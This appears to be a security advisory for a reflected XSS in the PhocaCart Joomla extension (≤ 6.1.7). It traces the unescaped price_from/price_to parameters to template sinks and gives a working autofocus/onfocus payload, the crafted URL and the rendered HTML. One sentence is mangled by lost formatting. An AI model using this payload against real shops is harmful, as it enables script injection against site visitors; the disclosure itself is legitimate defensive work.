toanln-cov/cve-2026-76565Reflected XSS via price_from & price_to Filter Parameters in PhocaCart
PhocaCart ≤ 6.1.7 — Unauthenticated Attacker Injects Arbitrary JavaScript via Crafted Price Filter URL
PhocaCart 6.1.7 for Joomla is vulnerable to Reflected Cross-Site Scripting (XSS) via the price_from and price_to GET parameters when the mod_phocacart_filter module is installed and published. The parameters are processed using Joomla's 'string' input filter, which applies strip_tags() only — it does not apply . The raw values are echoed directly into HTML attributes in the price filter form rendered by the module.
htmlspecialchars()value=""mod_phocacart_filterAn attacker delivers a crafted URL to a victim. When the victim loads the page, the injected event handler executes in their browser. No authentication is required. The attack requires mod_phocacart_filter (a separately distributed module) to be installed and published.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Type: Reflected XSS (CWE-79)
Authentication required: None — public shop frontend
CSRF token required: No (GET request)
Sink file: site/layouts/form_filter_horizontal_text.php:65,71
Joomla's 'string' input filter calls strip_tags() — it removes HTML tags but leaves HTML special characters such as ", ', and > unencoded. The price_from and price_to GET parameters are retrieved with this filter and stored in $data['getparams']. The template files echo these values directly into value="" attributes without calling htmlspecialchars(), allowing attribute-context injection.
Data flow — source to sink:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — VULNERABLE SINK
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
The same sink pattern also exists in form_filter_text.php:81,87 (vertical layout variant). Both price_from and price_to parameters are equally vulnerable.
Attacker constructs a URL targeting the shop items view with an event-handler payload injected into the price_from parameter. The payload breaks out of the value="" attribute context.
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
When the victim opens the crafted URL, the shop items page renders the price filter form. The injected attributes are present in the <input> element. With the autofocus onfocus payload, JavaScript executes immediately on page load without any further user interaction.
Rendered HTML (vulnerable):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />
XSS fires in victim's browser — alert(document.domain) confirms execution context in shop frontend